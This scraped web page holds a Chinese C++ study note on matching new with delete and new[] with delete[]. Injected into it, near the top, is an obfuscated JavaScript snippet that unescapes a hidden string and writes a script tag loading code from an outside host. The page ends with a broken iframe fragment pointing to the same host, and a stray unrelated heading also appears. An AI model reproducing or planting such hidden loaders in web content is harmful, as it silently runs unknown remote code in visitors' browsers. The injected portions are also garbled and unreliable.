HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
C++学习笔记之1:使用相同形式的new和delete
首先,从c到c++我们就应该抛弃malloc和free而用new和delete来代替之。
而malloc&free和new&delete的主要区别是new不但为一个对象申请了一片内存同时还会调用这个对象的构造函数,在这个构造函数里可能还会去申请内存,而malloc是不会这么智能的,free则是new的反向执行。所以明确一个问题是:
malloc&free和new&delete不可以混用,比如用new申请而用free释放。
那么在使用new和delete还要注意些什么呢?先看一段小代码:
==C代码
/* 申请一片内存 */
char *p = (char *)malloc(1000);
.
.
.
free(p);
如果你沿用C语言的习惯,那么在C++的代码中应该是这样的:
string *p = new string[1000];
.
.
.
delete p;
如果你这样的话将会造成灾难性的后果,上面的C++代码中所建立的1000个string对象只有第一个被删除,剩余的999个就不知道跑到哪里去了,这是内存泄露的典型例子,切记!那应该怎么样呢?应该用以下方式:
delete [ ] p;
这个方括号很重要,告诉系统你要释放的是一个数组而不是一个单一的指针。
如果你仅仅申请了一个对象,那么删除的时候应该怎么释放呢?如:
string *p = new string;
释放时应该用
delete p;
而不能是 delete [ ] p; 如果你加了括号则结果是不可预知的,换句话说就是什么都可能发生:)
总结一下,使用new和delete的时候一定要注意前后匹配,如果你申请的是一个数组,那么释放的时候一定要加方括号;如果你仅仅申请了一个对象,那么释放时千万不要加上方括号!
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">